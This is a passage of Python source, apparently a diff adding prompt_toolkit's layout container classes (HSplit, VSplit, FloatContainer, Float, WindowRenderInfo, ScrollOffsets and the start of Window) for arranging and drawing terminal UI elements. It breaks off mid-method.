children, + but if this is something you need, then create a HSplit as follows:: + + HSplit(children=[ ... ], padding_char='-', + padding=1, padding_style='#ffff00') + + :param children: List of child :class:`.Container` objects. + :param window_too_small: A :class:`.Container` object that is displayed if + there is not enough space for all the children. By default, this is a + "Window too small" message. + :param align: `VerticalAlign` value. + :param width: When given, use this width instead of looking at the children. + :param height: When given, use this height instead of looking at the children. + :param z_index: (int or None) When specified, this can be used to bring + element in front of floating elements. `None` means: inherit from parent. + :param style: A style string. + :param modal: ``True`` or ``False``. + :param key_bindings: ``None`` or a :class:`.KeyBindings` object. + + :param padding: (`Dimension` or int), size to be used for the padding. + :param padding_char: Character to be used for filling in the padding. + :param padding_style: Style to applied to the padding. + """ + + def __init__( + self, + children: Sequence[AnyContainer], + window_too_small: Optional[Container] = None, + align: VerticalAlign = VerticalAlign.JUSTIFY, + padding: AnyDimension = 0, + padding_char: Optional[str] = None, + padding_style: str = "", + width: AnyDimension = None, + height: AnyDimension = None, + z_index: Optional[int] = None, + modal: bool = False, + key_bindings: Optional[KeyBindingsBase] = None, + style: Union[str, Callable[[], str]] = "", + ) -> None: + + super().__init__( + children=children, + window_too_small=window_too_small, + padding=padding, + padding_char=padding_char, + padding_style=padding_style, + width=width, + height=height, + z_index=z_index, + modal=modal, + key_bindings=key_bindings, + style=style, + ) + + self.align = align + + self._children_cache: SimpleCache[ + Tuple[Container, ...], List[Container] + ] = SimpleCache(maxsize=1) + self._remaining_space_window = Window() # Dummy window. + + def preferred_width(self, max_available_width: int) -> Dimension: + if self.width is not None: + return to_dimension(self.width) + + if self.children: + dimensions = [c.preferred_width(max_available_width) for c in self.children] + return max_layout_dimensions(dimensions) + else: + return Dimension() + + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + if self.height is not None: + return to_dimension(self.height) + + dimensions = [ + c.preferred_height(width, max_available_height) for c in self._all_children + ] + return sum_layout_dimensions(dimensions) + + def reset(self) -> None: + for c in self.children: + c.reset() + + @property + def _all_children(self) -> List[Container]: + """ + List of child objects, including padding. + """ + + def get() -> List[Container]: + result: List[Container] = [] + + # Padding Top. + if self.align in (VerticalAlign.CENTER, VerticalAlign.BOTTOM): + result.append(Window(width=Dimension(preferred=0))) + + # The children with padding. + for child in self.children: + result.append(child) + result.append( + Window( + height=self.padding, + char=self.padding_char, + style=self.padding_style, + ) + ) + if result: + result.pop() + + # Padding right. + if self.align in (VerticalAlign.CENTER, VerticalAlign.TOP): + result.append(Window(width=Dimension(preferred=0))) + + return result + + return self._children_cache.get(tuple(self.children), get) + + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + """ + Render the prompt to a `Screen` instance. + + :param screen: The :class:`~prompt_toolkit.layout.screen.Screen` class + to which the output has to be written. + """ + sizes = self._divide_heights(write_position) + style = parent_style + " " + to_str(self.style) + z_index = z_index if self.z_index is None else self.z_index + + if sizes is None: + self.window_too_small.write_to_screen( + screen, mouse_handlers, write_position, style, erase_bg, z_index + ) + else: + # + ypos = write_position.ypos + xpos = write_position.xpos + width = write_position.width + + # Draw child panes. + for s, c in zip(sizes, self._all_children): + c.write_to_screen( + screen, + mouse_handlers, + WritePosition(xpos, ypos, width, s), + style, + erase_bg, + z_index, + ) + ypos += s + + # Fill in the remaining space. This happens when a child control + # refuses to take more space and we don't have any padding. Adding a + # dummy child control for this (in `self._all_children`) is not + # desired, because in some situations, it would take more space, even + # when it's not required. This is required to apply the styling. + remaining_height = write_position.ypos + write_position.height - ypos + if remaining_height > 0: + self._remaining_space_window.write_to_screen( + screen, + mouse_handlers, + WritePosition(xpos, ypos, width, remaining_height), + style, + erase_bg, + z_index, + ) + + def _divide_heights(self, write_position: WritePosition) -> Optional[List[int]]: + """ + Return the heights for all rows. + Or None when there is not enough space. + """ + if not self.children: + return [] + + width = write_position.width + height = write_position.height + + # Calculate heights. + dimensions = [c.preferred_height(width, height) for c in self._all_children] + + # Sum dimensions + sum_dimensions = sum_layout_dimensions(dimensions) + + # If there is not enough space for both. + # Don't do anything. + if sum_dimensions.min > height: + return None + + # Find optimal sizes. (Start with minimal size, increase until we cover + # the whole height.) + sizes = [d.min for d in dimensions] + + child_generator = take_using_weights( + items=list(range(len(dimensions))), weights=[d.weight for d in dimensions] + ) + + i = next(child_generator) + + # Increase until we meet at least the 'preferred' size. + preferred_stop = min(height, sum_dimensions.preferred) + preferred_dimensions = [d.preferred for d in dimensions] + + while sum(sizes) < preferred_stop: + if sizes[i] < preferred_dimensions[i]: + sizes[i] += 1 + i = next(child_generator) + + # Increase until we use all the available space. (or until "max") + if not get_app().is_done: + max_stop = min(height, sum_dimensions.max) + max_dimensions = [d.max for d in dimensions] + + while sum(sizes) < max_stop: + if sizes[i] < max_dimensions[i]: + sizes[i] += 1 + i = next(child_generator) + + return sizes + + +class VSplit(_Split): + """ + Several layouts, one stacked left/right of the other. :: + + +---------+----------+ + | | | + | | | + +---------+----------+ + + By default, this doesn't display a vertical line between the children, but + if this is something you need, then create a HSplit as follows:: + + VSplit(children=[ ... ], padding_char='|', + padding=1, padding_style='#ffff00') + + :param children: List of child :class:`.Container` objects. + :param window_too_small: A :class:`.Container` object that is displayed if + there is not enough space for all the children. By default, this is a + "Window too small" message. + :param align: `HorizontalAlign` value. + :param width: When given, use this width instead of looking at the children. + :param height: When given, use this height instead of looking at the children. + :param z_index: (int or None) When specified, this can be used to bring + element in front of floating elements. `None` means: inherit from parent. + :param style: A style string. + :param modal: ``True`` or ``False``. + :param key_bindings: ``None`` or a :class:`.KeyBindings` object. + + :param padding: (`Dimension` or int), size to be used for the padding. + :param padding_char: Character to be used for filling in the padding. + :param padding_style: Style to applied to the padding. + """ + + def __init__( + self, + children: Sequence[AnyContainer], + window_too_small: Optional[Container] = None, + align: HorizontalAlign = HorizontalAlign.JUSTIFY, + padding: AnyDimension = 0, + padding_char: Optional[str] = None, + padding_style: str = "", + width: AnyDimension = None, + height: AnyDimension = None, + z_index: Optional[int] = None, + modal: bool = False, + key_bindings: Optional[KeyBindingsBase] = None, + style: Union[str, Callable[[], str]] = "", + ) -> None: + + super().__init__( + children=children, + window_too_small=window_too_small, + padding=padding, + padding_char=padding_char, + padding_style=padding_style, + width=width, + height=height, + z_index=z_index, + modal=modal, + key_bindings=key_bindings, + style=style, + ) + + self.align = align + + self._children_cache: SimpleCache[ + Tuple[Container, ...], List[Container] + ] = SimpleCache(maxsize=1) + self._remaining_space_window = Window() # Dummy window. + + def preferred_width(self, max_available_width: int) -> Dimension: + if self.width is not None: + return to_dimension(self.width) + + dimensions = [ + c.preferred_width(max_available_width) for c in self._all_children + ] + + return sum_layout_dimensions(dimensions) + + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + if self.height is not None: + return to_dimension(self.height) + + # At the point where we want to calculate the heights, the widths have + # already been decided. So we can trust `width` to be the actual + # `width` that's going to be used for the rendering. So, + # `divide_widths` is supposed to use all of the available width. + # Using only the `preferred` width caused a bug where the reported + # height was more than required. (we had a `BufferControl` which did + # wrap lines because of the smaller width returned by `_divide_widths`. + + sizes = self._divide_widths(width) + children = self._all_children + + if sizes is None: + return Dimension() + else: + dimensions = [ + c.preferred_height(s, max_available_height) + for s, c in zip(sizes, children) + ] + return max_layout_dimensions(dimensions) + + def reset(self) -> None: + for c in self.children: + c.reset() + + @property + def _all_children(self) -> List[Container]: + """ + List of child objects, including padding. + """ + + def get() -> List[Container]: + result: List[Container] = [] + + # Padding left. + if self.align in (HorizontalAlign.CENTER, HorizontalAlign.RIGHT): + result.append(Window(width=Dimension(preferred=0))) + + # The children with padding. + for child in self.children: + result.append(child) + result.append( + Window( + width=self.padding, + char=self.padding_char, + style=self.padding_style, + ) + ) + if result: + result.pop() + + # Padding right. + if self.align in (HorizontalAlign.CENTER, HorizontalAlign.LEFT): + result.append(Window(width=Dimension(preferred=0))) + + return result + + return self._children_cache.get(tuple(self.children), get) + + def _divide_widths(self, width: int) -> Optional[List[int]]: + """ + Return the widths for all columns. + Or None when there is not enough space. + """ + children = self._all_children + + if not children: + return [] + + # Calculate widths. + dimensions = [c.preferred_width(width) for c in children] + preferred_dimensions = [d.preferred for d in dimensions] + + # Sum dimensions + sum_dimensions = sum_layout_dimensions(dimensions) + + # If there is not enough space for both. + # Don't do anything. + if sum_dimensions.min > width: + return None + + # Find optimal sizes. (Start with minimal size, increase until we cover + # the whole width.) + sizes = [d.min for d in dimensions] + + child_generator = take_using_weights( + items=list(range(len(dimensions))), weights=[d.weight for d in dimensions] + ) + + i = next(child_generator) + + # Increase until we meet at least the 'preferred' size. + preferred_stop = min(width, sum_dimensions.preferred) + + while sum(sizes) < preferred_stop: + if sizes[i] < preferred_dimensions[i]: + sizes[i] += 1 + i = next(child_generator) + + # Increase until we use all the available space. + max_dimensions = [d.max for d in dimensions] + max_stop = min(width, sum_dimensions.max) + + while sum(sizes) < max_stop: + if sizes[i] < max_dimensions[i]: + sizes[i] += 1 + i = next(child_generator) + + return sizes + + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + """ + Render the prompt to a `Screen` instance. + + :param screen: The :class:`~prompt_toolkit.layout.screen.Screen` class + to which the output has to be written. + """ + if not self.children: + return + + children = self._all_children + sizes = self._divide_widths(write_position.width) + style = parent_style + " " + to_str(self.style) + z_index = z_index if self.z_index is None else self.z_index + + # If there is not enough space. + if sizes is None: + self.window_too_small.write_to_screen( + screen, mouse_handlers, write_position, style, erase_bg, z_index + ) + return + + # Calculate heights, take the largest possible, but not larger than + # write_position.height. + heights = [ + child.preferred_height(width, write_position.height).preferred + for width, child in zip(sizes, children) + ] + height = max(write_position.height, min(write_position.height, max(heights))) + + # + ypos = write_position.ypos + xpos = write_position.xpos + + # Draw all child panes. + for s, c in zip(sizes, children): + c.write_to_screen( + screen, + mouse_handlers, + WritePosition(xpos, ypos, s, height), + style, + erase_bg, + z_index, + ) + xpos += s + + # Fill in the remaining space. This happens when a child control + # refuses to take more space and we don't have any padding. Adding a + # dummy child control for this (in `self._all_children`) is not + # desired, because in some situations, it would take more space, even + # when it's not required. This is required to apply the styling. + remaining_width = write_position.xpos + write_position.width - xpos + if remaining_width > 0: + self._remaining_space_window.write_to_screen( + screen, + mouse_handlers, + WritePosition(xpos, ypos, remaining_width, height), + style, + erase_bg, + z_index, + ) + + +class FloatContainer(Container): + """ + Container which can contain another container for the background, as well + as a list of floating containers on top of it. + + Example Usage:: + + FloatContainer(content=Window(...), + floats=[ + Float(xcursor=True, + ycursor=True, + content=CompletionsMenu(...)) + ]) + + :param z_index: (int or None) When specified, this can be used to bring + element in front of floating elements. `None` means: inherit from parent. + This is the z_index for the whole `Float` container as a whole. + """ + + def __init__( + self, + content: AnyContainer, + floats: List["Float"], + modal: bool = False, + key_bindings: Optional[KeyBindingsBase] = None, + style: Union[str, Callable[[], str]] = "", + z_index: Optional[int] = None, + ) -> None: + + self.content = to_container(content) + self.floats = floats + + self.modal = modal + self.key_bindings = key_bindings + self.style = style + self.z_index = z_index + + def reset(self) -> None: + self.content.reset() + + for f in self.floats: + f.content.reset() + + def preferred_width(self, max_available_width: int) -> Dimension: + return self.content.preferred_width(max_available_width) + + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + """ + Return the preferred height of the float container. + (We don't care about the height of the floats, they should always fit + into the dimensions provided by the container.) + """ + return self.content.preferred_height(width, max_available_height) + + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + style = parent_style + " " + to_str(self.style) + z_index = z_index if self.z_index is None else self.z_index + + self.content.write_to_screen( + screen, mouse_handlers, write_position, style, erase_bg, z_index + ) + + for number, fl in enumerate(self.floats): + # z_index of a Float is computed by summing the z_index of the + # container and the `Float`. + new_z_index = (z_index or 0) + fl.z_index + style = parent_style + " " + to_str(self.style) + + # If the float that we have here, is positioned relative to the + # cursor position, but the Window that specifies the cursor + # position is not drawn yet, because it's a Float itself, we have + # to postpone this calculation. (This is a work-around, but good + # enough for now.) + postpone = fl.xcursor is not None or fl.ycursor is not None + + if postpone: + new_z_index = ( + number + 10**8 + ) # Draw as late as possible, but keep the order. + screen.draw_with_z_index( + z_index=new_z_index, + draw_func=partial( + self._draw_float, + fl, + screen, + mouse_handlers, + write_position, + style, + erase_bg, + new_z_index, + ), + ) + else: + self._draw_float( + fl, + screen, + mouse_handlers, + write_position, + style, + erase_bg, + new_z_index, + ) + + def _draw_float( + self, + fl: "Float", + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + "Draw a single Float." + # When a menu_position was given, use this instead of the cursor + # position. (These cursor positions are absolute, translate again + # relative to the write_position.) + # Note: This should be inside the for-loop, because one float could + # set the cursor position to be used for the next one. + cpos = screen.get_menu_position( + fl.attach_to_window or get_app().layout.current_window + ) + cursor_position = Point( + x=cpos.x - write_position.xpos, y=cpos.y - write_position.ypos + ) + + fl_width = fl.get_width() + fl_height = fl.get_height() + width: int + height: int + xpos: int + ypos: int + + # Left & width given. + if fl.left is not None and fl_width is not None: + xpos = fl.left + width = fl_width + # Left & right given -> calculate width. + elif fl.left is not None and fl.right is not None: + xpos = fl.left + width = write_position.width - fl.left - fl.right + # Width & right given -> calculate left. + elif fl_width is not None and fl.right is not None: + xpos = write_position.width - fl.right - fl_width + width = fl_width + # Near x position of cursor. + elif fl.xcursor: + if fl_width is None: + width = fl.content.preferred_width(write_position.width).preferred + width = min(write_position.width, width) + else: + width = fl_width + + xpos = cursor_position.x + if xpos + width > write_position.width: + xpos = max(0, write_position.width - width) + # Only width given -> center horizontally. + elif fl_width: + xpos = int((write_position.width - fl_width) / 2) + width = fl_width + # Otherwise, take preferred width from float content. + else: + width = fl.content.preferred_width(write_position.width).preferred + + if fl.left is not None: + xpos = fl.left + elif fl.right is not None: + xpos = max(0, write_position.width - width - fl.right) + else: # Center horizontally. + xpos = max(0, int((write_position.width - width) / 2)) + + # Trim. + width = min(width, write_position.width - xpos) + + # Top & height given. + if fl.top is not None and fl_height is not None: + ypos = fl.top + height = fl_height + # Top & bottom given -> calculate height. + elif fl.top is not None and fl.bottom is not None: + ypos = fl.top + height = write_position.height - fl.top - fl.bottom + # Height & bottom given -> calculate top. + elif fl_height is not None and fl.bottom is not None: + ypos = write_position.height - fl_height - fl.bottom + height = fl_height + # Near cursor. + elif fl.ycursor: + ypos = cursor_position.y + (0 if fl.allow_cover_cursor else 1) + + if fl_height is None: + height = fl.content.preferred_height( + width, write_position.height + ).preferred + else: + height = fl_height + + # Reduce height if not enough space. (We can use the height + # when the content requires it.) + if height > write_position.height - ypos: + if write_position.height - ypos + 1 >= ypos: + # When the space below the cursor is more than + # the space above, just reduce the height. + height = write_position.height - ypos + else: + # Otherwise, fit the float above the cursor. + height = min(height, cursor_position.y) + ypos = cursor_position.y - height + + # Only height given -> center vertically. + elif fl_height: + ypos = int((write_position.height - fl_height) / 2) + height = fl_height + # Otherwise, take preferred height from content. + else: + height = fl.content.preferred_height(width, write_position.height).preferred + + if fl.top is not None: + ypos = fl.top + elif fl.bottom is not None: + ypos = max(0, write_position.height - height - fl.bottom) + else: # Center vertically. + ypos = max(0, int((write_position.height - height) / 2)) + + # Trim. + height = min(height, write_position.height - ypos) + + # Write float. + # (xpos and ypos can be negative: a float can be partially visible.) + if height > 0 and width > 0: + wp = WritePosition( + xpos=xpos + write_position.xpos, + ypos=ypos + write_position.ypos, + width=width, + height=height, + ) + + if not fl.hide_when_covering_content or self._area_is_empty(screen, wp): + fl.content.write_to_screen( + screen, + mouse_handlers, + wp, + style, + erase_bg=not fl.transparent(), + z_index=z_index, + ) + + def _area_is_empty(self, screen: Screen, write_position: WritePosition) -> bool: + """ + Return True when the area below the write position is still empty. + (For floats that should not hide content underneath.) + """ + wp = write_position + + for y in range(wp.ypos, wp.ypos + wp.height): + if y in screen.data_buffer: + row = screen.data_buffer[y] + + for x in range(wp.xpos, wp.xpos + wp.width): + c = row[x] + if c.char != " ": + return False + + return True + + def is_modal(self) -> bool: + return self.modal + + def get_key_bindings(self) -> Optional[KeyBindingsBase]: + return self.key_bindings + + def get_children(self) -> List[Container]: + children = [self.content] + children.extend(f.content for f in self.floats) + return children + + +class Float: + """ + Float for use in a :class:`.FloatContainer`. + Except for the `content` parameter, all other options are optional. + + :param content: :class:`.Container` instance. + + :param width: :class:`.Dimension` or callable which returns a :class:`.Dimension`. + :param height: :class:`.Dimension` or callable which returns a :class:`.Dimension`. + + :param left: Distance to the left edge of the :class:`.FloatContainer`. + :param right: Distance to the right edge of the :class:`.FloatContainer`. + :param top: Distance to the top of the :class:`.FloatContainer`. + :param bottom: Distance to the bottom of the :class:`.FloatContainer`. + + :param attach_to_window: Attach to the cursor from this window, instead of + the current window. + :param hide_when_covering_content: Hide the float when it covers content underneath. + :param allow_cover_cursor: When `False`, make sure to display the float + below the cursor. Not on top of the indicated position. + :param z_index: Z-index position. For a Float, this needs to be at least + one. It is relative to the z_index of the parent container. + :param transparent: :class:`.Filter` indicating whether this float needs to be + drawn transparently. + """ + + def __init__( + self, + content: AnyContainer, + top: Optional[int] = None, + right: Optional[int] = None, + bottom: Optional[int] = None, + left: Optional[int] = None, + width: Optional[Union[int, Callable[[], int]]] = None, + height: Optional[Union[int, Callable[[], int]]] = None, + xcursor: bool = False, + ycursor: bool = False, + attach_to_window: Optional[AnyContainer] = None, + hide_when_covering_content: bool = False, + allow_cover_cursor: bool = False, + z_index: int = 1, + transparent: bool = False, + ) -> None: + + assert z_index >= 1 + + self.left = left + self.right = right + self.top = top + self.bottom = bottom + + self.width = width + self.height = height + + self.xcursor = xcursor + self.ycursor = ycursor + + self.attach_to_window = ( + to_window(attach_to_window) if attach_to_window else None + ) + + self.content = to_container(content) + self.hide_when_covering_content = hide_when_covering_content + self.allow_cover_cursor = allow_cover_cursor + self.z_index = z_index + self.transparent = to_filter(transparent) + + def get_width(self) -> Optional[int]: + if callable(self.width): + return self.width() + return self.width + + def get_height(self) -> Optional[int]: + if callable(self.height): + return self.height() + return self.height + + def __repr__(self) -> str: + return "Float(content=%r)" % self.content + + +class WindowRenderInfo: + """ + Render information for the last render time of this control. + It stores mapping information between the input buffers (in case of a + :class:`~prompt_toolkit.layout.controls.BufferControl`) and the actual + render position on the output screen. + + (Could be used for implementation of the Vi 'H' and 'L' key bindings as + well as implementing mouse support.) + + :param ui_content: The original :class:`.UIContent` instance that contains + the whole input, without clipping. (ui_content) + :param horizontal_scroll: The horizontal scroll of the :class:`.Window` instance. + :param vertical_scroll: The vertical scroll of the :class:`.Window` instance. + :param window_width: The width of the window that displays the content, + without the margins. + :param window_height: The height of the window that displays the content. + :param configured_scroll_offsets: The scroll offsets as configured for the + :class:`Window` instance. + :param visible_line_to_row_col: Mapping that maps the row numbers on the + displayed screen (starting from zero for the first visible line) to + (row, col) tuples pointing to the row and column of the :class:`.UIContent`. + :param rowcol_to_yx: Mapping that maps (row, column) tuples representing + coordinates of the :class:`UIContent` to (y, x) absolute coordinates at + the rendered screen. + """ + + def __init__( + self, + window: "Window", + ui_content: UIContent, + horizontal_scroll: int, + vertical_scroll: int, + window_width: int, + window_height: int, + configured_scroll_offsets: "ScrollOffsets", + visible_line_to_row_col: Dict[int, Tuple[int, int]], + rowcol_to_yx: Dict[Tuple[int, int], Tuple[int, int]], + x_offset: int, + y_offset: int, + wrap_lines: bool, + ) -> None: + + self.window = window + self.ui_content = ui_content + self.vertical_scroll = vertical_scroll + self.window_width = window_width # Width without margins. + self.window_height = window_height + + self.configured_scroll_offsets = configured_scroll_offsets + self.visible_line_to_row_col = visible_line_to_row_col + self.wrap_lines = wrap_lines + + self._rowcol_to_yx = rowcol_to_yx # row/col from input to absolute y/x + # screen coordinates. + self._x_offset = x_offset + self._y_offset = y_offset + + @property + def visible_line_to_input_line(self) -> Dict[int, int]: + return { + visible_line: rowcol[0] + for visible_line, rowcol in self.visible_line_to_row_col.items() + } + + @property + def cursor_position(self) -> Point: + """ + Return the cursor position coordinates, relative to the left/top corner + of the rendered screen. + """ + cpos = self.ui_content.cursor_position + try: + y, x = self._rowcol_to_yx[cpos.y, cpos.x] + except KeyError: + # For `DummyControl` for instance, the content can be empty, and so + # will `_rowcol_to_yx` be. Return 0/0 by default. + return Point(x=0, y=0) + else: + return Point(x=x - self._x_offset, y=y - self._y_offset) + + @property + def applied_scroll_offsets(self) -> "ScrollOffsets": + """ + Return a :class:`.ScrollOffsets` instance that indicates the actual + offset. This can be less than or equal to what's configured. E.g, when + the cursor is completely at the top, the top offset will be zero rather + than what's configured. + """ + if self.displayed_lines[0] == 0: + top = 0 + else: + # Get row where the cursor is displayed. + y = self.input_line_to_visible_line[self.ui_content.cursor_position.y] + top = min(y, self.configured_scroll_offsets.top) + + return ScrollOffsets( + top=top, + bottom=min( + self.ui_content.line_count - self.displayed_lines[-1] - 1, + self.configured_scroll_offsets.bottom, + ), + # For left/right, it probably doesn't make sense to return something. + # (We would have to calculate the widths of all the lines and keep + # double width characters in mind.) + left=0, + right=0, + ) + + @property + def displayed_lines(self) -> List[int]: + """ + List of all the visible rows. (Line numbers of the input buffer.) + The last line may not be entirely visible. + """ + return sorted(row for row, col in self.visible_line_to_row_col.values()) + + @property + def input_line_to_visible_line(self) -> Dict[int, int]: + """ + Return the dictionary mapping the line numbers of the input buffer to + the lines of the screen. When a line spans several rows at the screen, + the first row appears in the dictionary. + """ + result: Dict[int, int] = {} + for k, v in self.visible_line_to_input_line.items(): + if v in result: + result[v] = min(result[v], k) + else: + result[v] = k + return result + + def first_visible_line(self, after_scroll_offset: bool = False) -> int: + """ + Return the line number (0 based) of the input document that corresponds + with the first visible line. + """ + if after_scroll_offset: + return self.displayed_lines[self.applied_scroll_offsets.top] + else: + return self.displayed_lines[0] + + def last_visible_line(self, before_scroll_offset: bool = False) -> int: + """ + Like `first_visible_line`, but for the last visible line. + """ + if before_scroll_offset: + return self.displayed_lines[-1 - self.applied_scroll_offsets.bottom] + else: + return self.displayed_lines[-1] + + def center_visible_line( + self, before_scroll_offset: bool = False, after_scroll_offset: bool = False + ) -> int: + """ + Like `first_visible_line`, but for the center visible line. + """ + return ( + self.first_visible_line(after_scroll_offset) + + ( + self.last_visible_line(before_scroll_offset) + - self.first_visible_line(after_scroll_offset) + ) + // 2 + ) + + @property + def content_height(self) -> int: + """ + The full height of the user control. + """ + return self.ui_content.line_count + + @property + def full_height_visible(self) -> bool: + """ + True when the full height is visible (There is no vertical scroll.) + """ + return ( + self.vertical_scroll == 0 + and self.last_visible_line() == self.content_height + ) + + @property + def top_visible(self) -> bool: + """ + True when the top of the buffer is visible. + """ + return self.vertical_scroll == 0 + + @property + def bottom_visible(self) -> bool: + """ + True when the bottom of the buffer is visible. + """ + return self.last_visible_line() == self.content_height - 1 + + @property + def vertical_scroll_percentage(self) -> int: + """ + Vertical scroll as a percentage. (0 means: the top is visible, + 100 means: the bottom is visible.) + """ + if self.bottom_visible: + return 100 + else: + return 100 * self.vertical_scroll // self.content_height + + def get_height_for_line(self, lineno: int) -> int: + """ + Return the height of the given line. + (The height that it would take, if this line became visible.) + """ + if self.wrap_lines: + return self.ui_content.get_height_for_line( + lineno, self.window_width, self.window.get_line_prefix + ) + else: + return 1 + + +class ScrollOffsets: + """ + Scroll offsets for the :class:`.Window` class. + + Note that left/right offsets only make sense if line wrapping is disabled. + """ + + def __init__( + self, + top: Union[int, Callable[[], int]] = 0, + bottom: Union[int, Callable[[], int]] = 0, + left: Union[int, Callable[[], int]] = 0, + right: Union[int, Callable[[], int]] = 0, + ) -> None: + + self._top = top + self._bottom = bottom + self._left = left + self._right = right + + @property + def top(self) -> int: + return to_int(self._top) + + @property + def bottom(self) -> int: + return to_int(self._bottom) + + @property + def left(self) -> int: + return to_int(self._left) + + @property + def right(self) -> int: + return to_int(self._right) + + def __repr__(self) -> str: + return "ScrollOffsets(top={!r}, bottom={!r}, left={!r}, right={!r})".format( + self._top, + self._bottom, + self._left, + self._right, + ) + + +class ColorColumn: + """ + Column for a :class:`.Window` to be colored. + """ + + def __init__(self, position: int, style: str = "class:color-column") -> None: + self.position = position + self.style = style + + +_in_insert_mode = vi_insert_mode | emacs_insert_mode + + +class WindowAlign(Enum): + """ + Alignment of the Window content. + + Note that this is different from `HorizontalAlign` and `VerticalAlign`, + which are used for the alignment of the child containers in respectively + `VSplit` and `HSplit`. + """ + + LEFT = "LEFT" + RIGHT = "RIGHT" + CENTER = "CENTER" + + +class Window(Container): + """ + Container that holds a control. + + :param content: :class:`.UIControl` instance. + :param width: :class:`.Dimension` instance or callable. + :param height: :class:`.Dimension` instance or callable. + :param z_index: When specified, this can be used to bring element in front + of floating elements. + :param dont_extend_width: When `True`, don't take up more width then the + preferred width reported by the control. + :param dont_extend_height: When `True`, don't take up more width then the + preferred height reported by the control. + :param ignore_content_width: A `bool` or :class:`.Filter` instance. Ignore + the :class:`.UIContent` width when calculating the dimensions. + :param ignore_content_height: A `bool` or :class:`.Filter` instance. Ignore + the :class:`.UIContent` height when calculating the dimensions. + :param left_margins: A list of :class:`.Margin` instance to be displayed on + the left. For instance: :class:`~prompt_toolkit.layout.NumberedMargin` + can be one of them in order to show line numbers. + :param right_margins: Like `left_margins`, but on the other side. + :param scroll_offsets: :class:`.ScrollOffsets` instance, representing the + preferred amount of lines/columns to be always visible before/after the + cursor. When both top and bottom are a very high number, the cursor + will be centered vertically most of the time. + :param allow_scroll_beyond_bottom: A `bool` or + :class:`.Filter` instance. When True, allow scrolling so far, that the + top part of the content is not visible anymore, while there is still + empty space available at the bottom of the window. In the Vi editor for + instance, this is possible. You will see tildes while the top part of + the body is hidden. + :param wrap_lines: A `bool` or :class:`.Filter` instance. When True, don't + scroll horizontally, but wrap lines instead. + :param get_vertical_scroll: Callable that takes this window + instance as input and returns a preferred vertical scroll. + (When this is `None`, the scroll is only determined by the last and + current cursor position.) + :param get_horizontal_scroll: Callable that takes this window + instance as input and returns a preferred vertical scroll. + :param always_hide_cursor: A `bool` or + :class:`.Filter` instance. When True, never display the cursor, even + when the user control specifies a cursor position. + :param cursorline: A `bool` or :class:`.Filter` instance. When True, + display a cursorline. + :param cursorcolumn: A `bool` or :class:`.Filter` instance. When True, + display a cursorcolumn. + :param colorcolumns: A list of :class:`.ColorColumn` instances that + describe the columns to be highlighted, or a callable that returns such + a list. + :param align: :class:`.WindowAlign` value or callable that returns an + :class:`.WindowAlign` value. alignment of content. + :param style: A style string. Style to be applied to all the cells in this + window. (This can be a callable that returns a string.) + :param char: (string) Character to be used for filling the background. This + can also be a callable that returns a character. + :param get_line_prefix: None or a callable that returns formatted text to + be inserted before a line. It takes a line number (int) and a + wrap_count and returns formatted text. This can be used for + implementation of line continuations, things like Vim "breakindent" and + so on. + """ + + def __init__( + self, + content: Optional[UIControl] = None, + width: AnyDimension = None, + height: AnyDimension = None, + z_index: Optional[int] = None, + dont_extend_width: FilterOrBool = False, + dont_extend_height: FilterOrBool = False, + ignore_content_width: FilterOrBool = False, + ignore_content_height: FilterOrBool = False, + left_margins: Optional[Sequence[Margin]] = None, + right_margins: Optional[Sequence[Margin]] = None, + scroll_offsets: Optional[ScrollOffsets] = None, + allow_scroll_beyond_bottom: FilterOrBool = False, + wrap_lines: FilterOrBool = False, + get_vertical_scroll: Optional[Callable[["Window"], int]] = None, + get_horizontal_scroll: Optional[Callable[["Window"], int]] = None, + always_hide_cursor: FilterOrBool = False, + cursorline: FilterOrBool = False, + cursorcolumn: FilterOrBool = False, + colorcolumns: Union[ + None, List[ColorColumn], Callable[[], List[ColorColumn]] + ] = None, + align: Union[WindowAlign, Callable[[], WindowAlign]] = WindowAlign.LEFT, + style: Union[str, Callable[[], str]] = "", + char: Union[None, str, Callable[[], str]] = None, + get_line_prefix: Optional[GetLinePrefixCallable] = None, + ) -> None: + + self.allow_scroll_beyond_bottom = to_filter(allow_scroll_beyond_bottom) + self.always_hide_cursor = to_filter(always_hide_cursor) + self.wrap_lines = to_filter(wrap_lines) + self.cursorline = to_filter(cursorline) + self.cursorcolumn = to_filter(cursorcolumn) + + self.content = content or DummyControl() + self.dont_extend_width = to_filter(dont_extend_width) + self.dont_extend_height = to_filter(dont_extend_height) + self.ignore_content_width = to_filter(ignore_content_width) + self.ignore_content_height = to_filter(ignore_content_height) + self.left_margins = left_margins or [] + self.right_margins = right_margins or [] + self.scroll_offsets = scroll_offsets or ScrollOffsets() + self.get_vertical_scroll = get_vertical_scroll + self.get_horizontal_scroll = get_horizontal_scroll + self.colorcolumns = colorcolumns or [] + self.align = align + self.style = style + self.char = char + self.get_line_prefix = get_line_prefix + + self.width = width + self.height = height + self.z_index = z_index + + # Cache for the screens generated by the margin. + self._ui_content_cache: SimpleCache[ + Tuple[int, int, int], UIContent + ] = SimpleCache(maxsize=8) + self._margin_width_cache: SimpleCache[Tuple[Margin, int], int] = SimpleCache( + maxsize=1 + ) + + self.reset() + + def __repr__(self) -> str: + return "Window(content=%r)" % self.content + + def reset(self) -> None: + self.content.reset() + + #: Scrolling position of the main content. + self.vertical_scroll = 0 + self.horizontal_scroll = 0 + + # Vertical scroll 2: this is the vertical offset that a line is + # scrolled if a single line (the one that contains the cursor) consumes + # all of the vertical space. + self.vertical_scroll_2 = 0 + + #: Keep render information (mappings between buffer input and render + #: output.) + self.render_info: Optional[WindowRenderInfo] = None + + def _get_margin_width(self, margin: Margin) -> int: + """ + Return the width for this margin. + (Calculate only once per render time.) + """ + # Margin.get_width, needs to have a UIContent instance. + def get_ui_content() -> UIContent: + return 